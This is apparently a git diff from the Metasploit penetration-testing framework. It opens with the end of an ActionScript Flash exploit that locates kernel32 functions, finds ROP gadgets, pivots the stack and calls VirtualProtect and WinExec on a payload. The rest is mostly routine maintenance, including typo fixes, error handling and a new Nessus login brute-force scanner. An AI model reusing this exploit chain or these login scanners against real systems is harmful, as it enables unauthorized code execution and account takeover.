var buffer:uint = parseInt(data[1]) as uint
|
||||
var main:uint = parseInt(data[2]) as uint
|
||||
var vtable:uint = parseInt(data[3]) as uint
|
||||
var flash:uint = base(vtable)
|
||||
var ieshims:uint = module("winmm.dll", flash)
|
||||
var kernel32:uint = module("kernel32.dll", ieshims)
|
||||
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
|
||||
//CoE
|
||||
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
byte_write(buffer+0x200, payload);
|
||||
byte_write(buffer + 0x20070, xchgeaxespret)
|
||||
byte_write(buffer + 0x20000, xchgeaxesiret)
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x100)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x30000)
|
||||
byte_write(0, buffer + 0x200)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, buffer + 0x20000)
|
||||
toString()
|
||||
}
|
||||
}
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1]
|
||||
}
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
|
@ -96,7 +96,7 @@ class JavaClass < ExeFormat
|
|||
when 'NameAndType'
|
||||
@info = ConstantNameAndType.decode(c)
|
||||
else
|
||||
raise 'unkown constant tag'
|
||||
raise 'unknown constant tag'
|
||||
return
|
||||
end
|
||||
end
|
||||
|
|
|
@ -306,8 +306,8 @@ class ExeFormat
|
|||
# creates a new label, that is guaranteed to never be returned again as long as this object (ExeFormat) exists
|
||||
def new_label(base = '')
|
||||
base = base.dup.tr('^a-zA-Z0-9_', '_')
|
||||
# use %x instead of to_s(16) for negative values
|
||||
base = (base << '_uuid' << ('%08x' % base.object_id)).freeze if base.empty? or @unique_labels_cache[base]
|
||||
# use %x with absolute value to avoid negative number formatting
|
||||
base = (base << '_uuid' << ('%08x' % base.object_id.abs)).freeze if base.empty? or @unique_labels_cache[base]
|
||||
@unique_labels_cache[base] = true
|
||||
base
|
||||
end
|
||||
|
|
|
@ -32,6 +32,7 @@ module Metasploit::Framework::CommonEngine
|
|||
end
|
||||
|
||||
config.root = Msf::Config::install_root
|
||||
config.paths.add 'app/concerns', autoload: true
|
||||
config.paths.add 'data/meterpreter', glob: '**/ext_*'
|
||||
config.paths.add 'modules'
|
||||
|
||||
|
|
|
@ -79,7 +79,7 @@ class Metasploit::Framework::CredentialCollection
|
|||
# Adds a string as an addition private credential
|
||||
# to be combined in the collection.
|
||||
#
|
||||
# @param [String] :private_str the string to use as a private
|
||||
# @param [String] private_str the string to use as a private
|
||||
# @return [void]
|
||||
def add_private(private_str='')
|
||||
additional_privates << private_str
|
||||
|
@ -88,7 +88,7 @@ class Metasploit::Framework::CredentialCollection
|
|||
# Adds a string as an addition public credential
|
||||
# to be combined in the collection.
|
||||
#
|
||||
# @param [String] :public_str the string to use as a public
|
||||
# @param [String] public_str the string to use as a public
|
||||
# @return [void]
|
||||
def add_public(public_str='')
|
||||
additional_publics << public_str
|
||||
|
|
|
@ -24,12 +24,19 @@ module Metasploit
|
|||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result]
|
||||
def attempt_login(credential)
|
||||
result_opts = { credential: credential }
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
begin
|
||||
status = try_login(credential)
|
||||
result_opts.merge!(status)
|
||||
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
|
||||
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
|
||||
|
|
|
@ -83,7 +83,7 @@ module Metasploit
|
|||
else
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
||||
end
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
|
||||
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
ensure
|
||||
cli.close
|
||||
|
|
|
@ -183,7 +183,7 @@ module Metasploit
|
|||
status = try_glassfish_3(credential)
|
||||
result_opts.merge!(status)
|
||||
end
|
||||
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
|
||||
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
|
||||
|
|
|
@ -187,13 +187,66 @@ module Metasploit
|
|||
error_message
|
||||
end
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param [Hash] opts native support includes the following (also see Rex::Proto::Http::Request#request_cgi)
|
||||
# @option opts [String] 'host' The remote host
|
||||
# @option opts [Fixnum] 'port' The remote port
|
||||
# @option opts [Boolean] 'ssl' The SSL setting, TrueClass or FalseClass
|
||||
# @option opts [String] 'proxies' The proxies setting
|
||||
# @option opts [Credential] 'credential' A credential object
|
||||
# @option opts ['Hash'] 'context' A context
|
||||
# @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
# @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response)
|
||||
def send_request(opts)
|
||||
rhost = opts['host'] || host
|
||||
rport = opts['rport'] || port
|
||||
cli_ssl = opts['ssl'] || ssl
|
||||
cli_ssl_version = opts['ssl_version'] || ssl_version
|
||||
cli_proxies = opts['proxies'] || proxies
|
||||
username = opts['credential'] ? opts['credential'].public : ''
|
||||
password = opts['credential'] ? opts['credential'].private : ''
|
||||
realm = opts['credential'] ? opts['credential'].realm : nil
|
||||
context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module}
|
||||
|
||||
res = nil
|
||||
cli = Rex::Proto::Http::Client.new(
|
||||
rhost,
|
||||
rport,
|
||||
context,
|
||||
cli_ssl,
|
||||
cli_ssl_version,
|
||||
cli_proxies,
|
||||
username,
|
||||
password
|
||||
)
|
||||
configure_http_client(cli)
|
||||
|
||||
if realm
|
||||
cli.set_config('domain' => realm)
|
||||
end
|
||||
|
||||
begin
|
||||
cli.connect
|
||||
req = cli.request_cgi(opts)
|
||||
res = cli.send_recv(req)
|
||||
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
raise Rex::ConnectionError, e.message
|
||||
ensure
|
||||
cli.close
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Attempt a single login with a single credential against the target.
|
||||
#
|
||||
# @param credential [Credential] The credential object to attempt to
|
||||
# login with.
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
|
@ -209,32 +262,13 @@ module Metasploit
|
|||
result_opts[:service_name] = 'http'
|
||||
end
|
||||
|
||||
http_client = Rex::Proto::Http::Client.new(
|
||||
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
|
||||
proxies, credential.public, credential.private
|
||||
)
|
||||
|
||||
configure_http_client(http_client)
|
||||
|
||||
if credential.realm
|
||||
http_client.set_config('domain' => credential.realm)
|
||||
end
|
||||
|
||||
begin
|
||||
http_client.connect
|
||||
request = http_client.request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => method
|
||||
)
|
||||
|
||||
response = http_client.send_recv(request)
|
||||
response = send_request('credential'=>credential, 'uri'=>uri, 'method'=>method)
|
||||
if response && response.code == 200
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
|
||||
end
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
|
||||
rescue Rex::ConnectionError => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
ensure
|
||||
http_client.close
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
|
@ -322,7 +356,7 @@ module Metasploit
|
|||
|
||||
# Combine the base URI with the target URI in a sane fashion
|
||||
#
|
||||
# @param [String] The target URL
|
||||
# @param [String] target_uri the target URL
|
||||
# @return [String] the final URL mapped against the base
|
||||
def normalize_uri(target_uri)
|
||||
(self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/')
|
||||
|
|
|
@ -50,7 +50,7 @@ module Metasploit
|
|||
else
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
|
||||
end
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
|
||||
rescue ::EOFError, Errno::ETIMEDOUT ,Errno::ECONNRESET, Rex::ConnectionError, OpenSSL::SSL::SSLError, ::Timeout::Error => e
|
||||
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
|
||||
end
|
||||
Result.new(result_opts)
|
||||
|
|
|
@ -0,0 +1,94 @@
|
|||
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
class Nessus < HTTP
|
||||
|
||||
DEFAULT_PORT = 8834
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
LIKELY_SERVICE_NAMES = [ 'nessus' ]
|
||||
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
|
||||
|
||||
|
||||
# Checks if the target is a Tenable Nessus server.
|
||||
#
|
||||
# @return [Boolean] TrueClass if target is Nessus server, otherwise FalseClass
|
||||
def check_setup
|
||||
login_uri = "/server/properties"
|
||||
res = send_request({'uri'=> login_uri})
|
||||
if res && res.body.include?('Nessus')
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
# Actually doing the login. Called by #attempt_login
|
||||
#
|
||||
# @param username [String] The username to try
|
||||
# @param password [String] The password to try
|
||||
# @return [Hash]
|
||||
# * :status [Metasploit::Model::Login::Status]
|
||||
# * :proof [String] the HTTP response body
|
||||
def get_login_state(username, password)
|
||||
login_uri = "#{uri}"
|
||||
|
||||
res = send_request({
|
||||
'uri' => login_uri,
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'username' => username,
|
||||
'password' => password
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
return {:status => LOGIN_STATUS::UNABLE_TO_CONNECT, :proof => res.to_s}
|
||||
end
|
||||
if res.code == 200 && res.body =~ /token/
|
||||
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.body.to_s}
|
||||
end
|
||||
|
||||
{:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
|
||||
end
|
||||
|
||||
|
||||
# Attempts to login to Nessus.
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
begin
|
||||
result_opts.merge!(get_login_state(credential.public, credential.private))
|
||||
rescue ::Rex::ConnectionError => e
|
||||
# Something went wrong during login. 'e' knows what's up.
|
||||
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
def set_sane_defaults
|
||||
super
|
||||
# nessus_rest_login has the same default in TARGETURI, but rspec doesn't check nessus_rest_login
|
||||
# so we have to set the default here, too.
|
||||
self.uri = '/session'
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -17,6 +17,40 @@ module Metasploit
|
|||
PRIVATE_TYPES = [ :password ]
|
||||
REALM_KEY = nil
|
||||
|
||||
# The number of retries per community string
|
||||
# @return [Fixnum]
|
||||
attr_accessor :retries
|
||||
|
||||
# The SNMP version to scan
|
||||
# @return [String]
|
||||
attr_accessor :version
|
||||
|
||||
validates :retries,
|
||||
presence: true,
|
||||
numericality: {
|
||||
only_integer: true,
|
||||
greater_than_or_equal_to: 0
|
||||
}
|
||||
|
||||
validates :version,
|
||||
presence: true,
|
||||
inclusion: {
|
||||
in: ['1', '2c', 'all']
|
||||
}
|
||||
|
||||
# This method returns an array of versions to scan
|
||||
# @return [Array] An array of versions
|
||||
def versions
|
||||
case version
|
||||
when '1'
|
||||
[:SNMPv1]
|
||||
when '2c'
|
||||
[:SNMPv2c]
|
||||
when 'all'
|
||||
[:SNMPv1, :SNMPv2c]
|
||||
end
|
||||
end
|
||||
|
||||
# This method attempts a single login with a single credential against the target
|
||||
# @param credential [Credential] The credential object to attmpt to login with
|
||||
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
|
||||
|
@ -29,14 +63,14 @@ module Metasploit
|
|||
service_name: 'snmp'
|
||||
}
|
||||
|
||||
[:SNMPv1, :SNMPv2c].each do |version|
|
||||
versions.each do |version|
|
||||
snmp_client = ::SNMP::Manager.new(
|
||||
:Host => host,
|
||||
:Port => port,
|
||||
:Community => credential.public,
|
||||
:Version => version,
|
||||
:Timeout => connection_timeout,
|
||||
:Retries => 2,
|
||||
:Retries => retries,
|
||||
:Transport => ::SNMP::RexUDPTransport,
|
||||
:Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module })
|
||||
)
|
||||
|
|
|
@ -27,44 +27,9 @@ module Metasploit
|
|||
end
|
||||
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Request#request_raw)
|
||||
# @raise [Rex::ConnectionError] Something has gone wrong while sending the HTTP request
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
res = nil
|
||||
cli = Rex::Proto::Http::Client.new(host, port,
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => framework_module
|
||||
},
|
||||
ssl,
|
||||
ssl_version,
|
||||
proxies
|
||||
)
|
||||
configure_http_client(cli)
|
||||
begin
|
||||
cli.connect
|
||||
req = cli.request_cgi(opts)
|
||||
res = cli.send_recv(req)
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error => e
|
||||
# We are trying to mimic the same type of exception rescuing in
|
||||
# Msf::Exploit::Remote::HttpClient. But instead of returning nil, we'll consistently
|
||||
# raise Rex::ConnectionError so the #attempt_login can return the error message back
|
||||
# to the login module.
|
||||
raise Rex::ConnectionError, e.message
|
||||
ensure
|
||||
cli.close
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Returns the latest sid from Symantec Web Gateway.
|
||||
#
|
||||
# @returns [String] The PHP Session ID for Symantec Web Gateway login
|
||||
# @return [String] The PHP Session ID for Symantec Web Gateway login
|
||||
def get_last_sid
|
||||
@last_sid ||= lambda {
|
||||
# We don't have a session ID. Well, let's grab one right quick from the login page.
|
||||
|
@ -130,7 +95,14 @@ module Metasploit
|
|||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
result_opts = { credential: credential }
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
begin
|
||||
result_opts.merge!(get_login_state(credential.public, credential.private))
|
||||
|
|
|
@ -59,14 +59,15 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
# Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`.
|
||||
# Tries to `require 'metasploit/credential'` and include `Metasploit::Credential::Creation` in the
|
||||
# `including_module`.
|
||||
#
|
||||
# @param including_module [Module] `Class` or `Module` that wants to `include Metasploit::Credential::Creation`.
|
||||
# @return [void]
|
||||
def self.optionally_include_metasploit_credential_creation(including_module)
|
||||
optionally(
|
||||
'metasploit/credential/creation',
|
||||
"metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}",
|
||||
'metasploit/credential',
|
||||
"metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for #{including_module.name}"
|
||||
) do
|
||||
including_module.send(:include, Metasploit::Credential::Creation)
|
||||
end
|
||||
|
|
|
@ -44,7 +44,7 @@ module Metasploit
|
|||
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
|
||||
|
||||
if untested_payloads_pathname.exist?
|
||||
tool_path = 'tools/missing-payload-tests.rb'
|
||||
tool_path = 'tools/missing_payload_tests.rb'
|
||||
|
||||
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
|
||||
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."
|
||||
|
|
|
@ -536,6 +536,7 @@ class ReadableText
|
|||
]
|
||||
|
||||
columns << 'Via' if verbose
|
||||
columns << 'PayloadId' if verbose
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Indent' => indent,
|
||||
|
@ -555,7 +556,11 @@ class ReadableText
|
|||
if session.respond_to? :platform
|
||||
row[1] += " " + session.platform
|
||||
end
|
||||
row << session.via_exploit if verbose and session.via_exploit
|
||||
|
||||
if verbose
|
||||
row << session.via_exploit.to_s
|
||||
row << session.payload_uuid.to_s
|
||||
end
|
||||
|
||||
tbl << row
|
||||
}
|
||||
|
@ -566,7 +571,7 @@ class ReadableText
|
|||
# Dumps the list of running jobs.
|
||||
#
|
||||
# @param framework [Msf::Framework] the framework.
|
||||
# @param verbose [Boolean] if true, also prints the payload, LPORT, URIPATH
|
||||
# @param verbose [Boolean] if true, also prints the payload, LPORT, URIPATH
|
||||
# and start time, if they exist, for each job.
|
||||
# @param indent [Integer] the indentation amount.
|
||||
# @param col [Integer] the column wrap width.
|
||||
|
|
|
@ -323,9 +323,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
nhost = find_internet_connected_address
|
||||
|
||||
original_session_host = self.session_host
|
||||
# If we found a better IP address for this session, change it up
|
||||
# only handle cases where the DB is not connected here
|
||||
if !(framework.db && framework.db.active)
|
||||
# If we found a better IP address for this session, change it
|
||||
# up. Only handle cases where the DB is not connected here
|
||||
if nhost && !(framework.db && framework.db.active)
|
||||
self.session_host = nhost
|
||||
end
|
||||
|
||||
|
@ -461,6 +461,8 @@ protected
|
|||
# @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes
|
||||
# @return [String] The address from which this host reaches the
|
||||
# internet, as ASCII. e.g.: "192.168.100.156"
|
||||
# @return [nil] If there is an interface with an address that matches
|
||||
# {#session_host}
|
||||
def find_internet_connected_address
|
||||
|
||||
ifaces = self.net.config.get_interfaces().flatten rescue []
|
||||
|
@ -497,7 +499,9 @@ protected
|
|||
end
|
||||
|
||||
if !nhost
|
||||
# Find the first non-loopback address
|
||||
# No internal address matches what we see externally and no
|
||||
# interface has a default route. Fall back to the first
|
||||
# non-loopback address
|
||||
non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" }
|
||||
if non_loopback
|
||||
nhost = non_loopback.ip
|
||||
|
|
|
@ -76,11 +76,9 @@ require 'msf/http/jboss'
|
|||
require 'msf/kerberos/client'
|
||||
|
||||
# Java RMI Support
|
||||
require 'msf/java/rmi/util'
|
||||
require 'msf/java/rmi/client'
|
||||
|
||||
# Java JMX Support
|
||||
require 'msf/java/jmx'
|
||||
|
||||
# Drivers
|
||||
require 'msf/core/exploit_driver'
|
||||
|
||||
|
|
|
@ -6,7 +6,7 @@ module Msf
|
|||
###
|
||||
#
|
||||
# The auxiliary class acts as a base class for all modules that perform
|
||||
# reconnaisance, retrieve data, brute force logins, or any other action
|
||||
# reconnaissance, retrieve data, brute force logins, or any other action
|
||||
# that doesn't fit our concept of an 'exploit' (involving payloads and
|
||||
# targets and whatnot).
|
||||
#
|
||||
|
|
|
@ -108,9 +108,9 @@ module Auxiliary::AuthBrute
|
|||
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys
|
||||
# from the database. This allows the users to use the DB_ALL_CREDS option.
|
||||
#
|
||||
# @param cred_collection [Metasploit::Framework::CredentialCollection]
|
||||
# @param [Metasploit::Framework::CredentialCollection] cred_collection
|
||||
# the credential collection to add to
|
||||
# @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection
|
||||
# @return [Metasploit::Framework::CredentialCollection] cred_collection the modified Credentialcollection
|
||||
def prepend_db_keys(cred_collection)
|
||||
if prepend_db_creds?
|
||||
each_ssh_cred do |cred|
|
||||
|
@ -140,8 +140,8 @@ module Auxiliary::AuthBrute
|
|||
# {Metasploit::Framework::CredentialCollection} as dictated by the
|
||||
# selected datastore options.
|
||||
#
|
||||
# @param [Metasploit::Framework::CredentialCollection] the credential collection to add to
|
||||
# @param [Metasploit::Credential::Core] the Credential Core to process
|
||||
# @param [Metasploit::Framework::CredentialCollection] cred_collection the credential collection to add to
|
||||
# @param [Metasploit::Credential::Core] cred the credential to process
|
||||
def process_cred_for_collection(cred_collection, cred)
|
||||
msf_cred = cred.to_credential
|
||||
cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS']
|
||||
|
@ -548,7 +548,7 @@ module Auxiliary::AuthBrute
|
|||
end
|
||||
|
||||
# Provides a consistant way to display messages about AuthBrute-mixed modules.
|
||||
# Acceptable opts are fairly self-explanitory, but :level can be tricky.
|
||||
# Acceptable opts are fairly self-explanatory, but :level can be tricky.
|
||||
#
|
||||
# It can be one of status, good, error, or line (and corresponds to the usual
|
||||
# print_status, print_good, etc. methods).
|
||||
|
|
|
@ -243,7 +243,7 @@ module Auxiliary::Cisco
|
|||
store_cred(cred)
|
||||
|
||||
#
|
||||
# Various authentication secretss
|
||||
# Various authentication secrets
|
||||
#
|
||||
when /^\s*username ([^\s]+) privilege (\d+) (secret|password) (\d+) ([^\s]+)/i
|
||||
user = $1
|
||||
|
|
|
@ -77,7 +77,7 @@ module Auxiliary::JohnTheRipper
|
|||
end
|
||||
|
||||
# This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data
|
||||
# out to a file and returns the {rex::quickfile} object.
|
||||
# out to a file and returns the {Rex::Quickfile} object.
|
||||
#
|
||||
# @return [nilClass] if there is no active framework db connection
|
||||
# @return [Rex::Quickfile] if it successfully wrote the wordlist to a file
|
||||
|
|
|
@ -16,7 +16,7 @@ module Auxiliary::Login
|
|||
EOL = CR + LF
|
||||
|
||||
#
|
||||
# Creates an instance of a login negoation module.
|
||||
# Creates an instance of a login negotiation module.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
|
|
@ -113,13 +113,11 @@ module Auxiliary::Report
|
|||
|
||||
#
|
||||
# Report a client connection
|
||||
#
|
||||
# opts must contain
|
||||
# :host the address of the client connecting
|
||||
# :ua_string a string that uniquely identifies this client
|
||||
# opts can contain
|
||||
# :ua_name a brief identifier for the client, e.g. "Firefox"
|
||||
# :ua_ver the version number of the client, e.g. "3.0.11"
|
||||
# @param opts [Hash] report client information based on user-agent
|
||||
# @option opts [String] :host the address of the client connecting
|
||||
# @option opts [String] :ua_string a string that uniquely identifies this client
|
||||
# @option opts [String] :ua_name a brief identifier for the client, e.g. "Firefox"
|
||||
# @option opts [String] :ua_ver the version number of the client, e.g. "3.0.11"
|
||||
#
|
||||
def report_client(opts={})
|
||||
return if not db
|
||||
|
@ -161,7 +159,7 @@ module Auxiliary::Report
|
|||
# by a module. This method is deprecated and the new Metasploit::Credential methods
|
||||
# should be used directly instead.
|
||||
#
|
||||
# @param :opts [Hash] the option hash
|
||||
# @param opts [Hash] the option hash
|
||||
# @option opts [String] :host the address of the host (also takes a {Mdm::Host})
|
||||
# @option opts [Fixnum] :port the port of the connected service
|
||||
# @option opts [Mdm::Service] :service an optional Service object to build the cred for
|
||||
|
@ -427,7 +425,7 @@ module Auxiliary::Report
|
|||
fname = ctype || "local_#{Time.now.utc.to_i}"
|
||||
end
|
||||
|
||||
# Split by path seperator
|
||||
# Split by path separator
|
||||
fname = ::File.split(fname).last
|
||||
|
||||
case ctype # Probably could use more cases
|
||||
|
|
|
@ -85,7 +85,7 @@ class DataStore < Hash
|
|||
def import_options_from_s(option_str, delim = nil)
|
||||
hash = {}
|
||||
|
||||
# Figure out the deliminter, default to space.
|
||||
# Figure out the delimeter, default to space.
|
||||
if (delim.nil?)
|
||||
delim = /\s/
|
||||
|
||||
|
@ -94,7 +94,7 @@ class DataStore < Hash
|
|||
end
|
||||
end
|
||||
|
||||
# Split on the deliminter
|
||||
# Split on the delimeter
|
||||
option_str.split(delim).each { |opt|
|
||||
var, val = opt.split('=')
|
||||
|
||||
|
|
|
@ -23,6 +23,10 @@ require 'msf/core/service_state'
|
|||
class Msf::DBManager
|
||||
extend Metasploit::Framework::Require
|
||||
|
||||
# Default proto for making new `Mdm::Service`s. This should probably be a
|
||||
# const on `Mdm::Service`
|
||||
DEFAULT_SERVICE_PROTO = "tcp"
|
||||
|
||||
autoload :Adapter, 'msf/core/db_manager/adapter'
|
||||
autoload :Client, 'msf/core/db_manager/client'
|
||||
autoload :Connection, 'msf/core/db_manager/connection'
|
||||
|
@ -100,7 +104,7 @@ class Msf::DBManager
|
|||
attr_accessor :usable
|
||||
|
||||
#
|
||||
# iniitialize
